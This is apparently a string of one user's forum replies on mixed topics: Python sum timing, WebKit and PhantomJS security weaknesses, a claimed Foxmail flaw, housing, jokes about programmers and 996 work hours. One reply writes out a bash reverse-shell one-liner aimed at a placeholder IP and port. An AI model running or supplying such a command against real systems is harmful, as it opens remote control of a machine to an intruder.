@a132811 可以任意执行，前提是需要你的 webkit 支持 flash 或者 java 组件

每次+一次就是内存申请一次啊，而且你用 for 就变成了直接 sum 回快多了 sum(xrange(95550000))，时间明显减少太多了

3 function calls in 1.140 seconds

Ordered by: standard name

ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 1.140 1.140 test.py:1(<module>)
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
1 1.140 1.140 1.140 1.140 {sum}

@julyclyde 标准 Webkit 没过滤，通过 file://这个伪协议可以执行文件，需要一定条件触发， web 这块昨天尝试了一下，幸好 phantomjs 不支持 flash 也不支持 java ，还算安全，但是也会泄露一些内网的信息

@domty js 可以做的事情很多啊， dos 只是其中一部分，比如可以读取本地文件上传到指定的服务器啊这个只是一部分，对于 chrome 这些商业浏览器做了很多安全规则校验而 phantomjs 做这块就很粗糙了（具体在测试）
还有更坏的远程执行代码，我之前发掘过 Foxmail < 7.0 的漏洞就是因为调用 webkit 对那个代码没有检测可以任意加载 js ，可以直接下载恶意软件并且执行，这个问题希望能引起重视

bash -i >& /dev/tcp/your ip/your port 0>&1 解决控制系统

@mahone3297 人家又没说 join 的时间，这个时间状语是省略的

OpenDNS

@webdev 看着我都想来了

以后估计会出现一些业务出来某官员滥用职权给外地某人买房谋取利益，上海一中介假结婚暗中交易新房给外地人.....

@dillon 山下只要 1 块钱，半山腰一瓶矿泉水 10 块钱，山上不知道多少钱，你这么时候口渴，请问你是上山呢还是下山呢？

一直不理解 linux server 发行版本有啥区别

1.傻傻分不清版本：那我家里的电视机坏了，你快来修一下，我家里的拖拉机坏了快修一下。什么你这个两个都不会修，你还敢说你是搞电脑的，你水平一定很差！
2.无奈版：我家的手机 /电脑坏了，你快来给我修，什么你修不好，叔叔是听说你是搞研发人员看的起你才找你来修的，叔叔会差那 50 块钱嘛！
3.忽悠版：你是程序员吧，我是某公司 ceo 我们想搞一个互联网+O2O+P2P 跨时代的互联网思维产品，我们就差一个写代码的了！什么，你居然要工资，我给你讲啊，我们是有理想有情怀的，你先好好干三年后我们就上市了，到时候给你股份！
4.伤心版：你是程序员吧，听说你们赚钱挺多了，你在上海有几套房啊，沪牌的车名下有几辆，这些没有也没关系，你乡下是不是有 100 地马上要拆迁啊！什么，这些你都没有，那你跟我谈什么恋爱啊！

登陆微信然后用浏览器去点

@mahone3297 马云不过也就是干了 15 年身价几千个亿，所以不用怀疑阿里的薪资

@xpol 996 算业绩良心了，创业公司发理想当干粮，根本不下班

@ryd994 我理解可能有点问题，感谢指正

如果你闲的无聊可以跟我一起干活，我在做一些有意思的事情

费这个力气干嘛，设个闹钟不就行了